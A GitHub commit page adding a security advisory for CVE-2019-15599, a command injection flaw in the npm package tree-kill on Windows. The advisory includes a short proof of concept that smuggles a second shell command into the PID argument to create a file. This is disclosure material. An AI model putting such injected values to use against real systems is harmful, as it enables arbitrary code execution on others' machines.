Skip to content

Commit 1c12493

Browse files
1 parent 51a150a commit 1c12493

File tree

2 files changed

+66
-35
lines changed

2 files changed

+66
-35
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mxq6-vrrr-ppmg",
4+
"modified": "2023-10-19T18:39:48Z",
5+
"published": "2022-05-24T17:04:00Z",
6+
"aliases": [
7+
"CVE-2019-15599"
8+
],
9+
"summary": "tree-kill vulnerable to remote code execution",
10+
"details": "A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the `+` operand to concatenate the input into `exec()`\n\n### Steps To Reproduce:\n\nCreate the following PoC file:\n\n```js\n// poc.js\nvar kill = require('tree-kill');\nkill('3333332 & echo \"HACKED\" > HACKED.txt & ');\n```\nExecute the following commands in another terminal:\n\n```bash\nnpm i tree-kill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js # Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nA new file called `HACKED.txt` will be created, containing the `HACKED` string.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "tree-kill"
22+
},
23+
"ecosystem_specific": {
24+
"affected_functions": [
25+
""
26+
]
27+
},
28+
"ranges": [
29+
{
30+
"type": "ECOSYSTEM",
31+
"events": [
32+
{
33+
"introduced": "0"
34+
},
35+
{
36+
"last_affected": "1.2.1"
37+
}
38+
]
39+
}
40+
]
41+
}
42+
],
43+
"references": [
44+
{
45+
"type": "ADVISORY",
46+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15599"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://hackerone.com/reports/701183"
51+
},
52+
{
53+
"type": "PACKAGE",
54+
"url": "https://github.com/pkrumins/node-tree-kill"
55+
}
56+
],
57+
"database_specific": {
58+
"cwe_ids": [
59+
"CWE-94"
60+
],
61+
"severity": "CRITICAL",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2023-10-19T18:39:48Z",
64+
"nvd_published_at": "2019-12-18T21:15:00Z"
65+
}
66+
}

advisories/unreviewed/2022/05/GHSA-mxq6-vrrr-ppmg/GHSA-mxq6-vrrr-ppmg.json

Lines changed: 0 additions & 35 deletions
This file was deleted.

0 commit comments

Comments
 (0)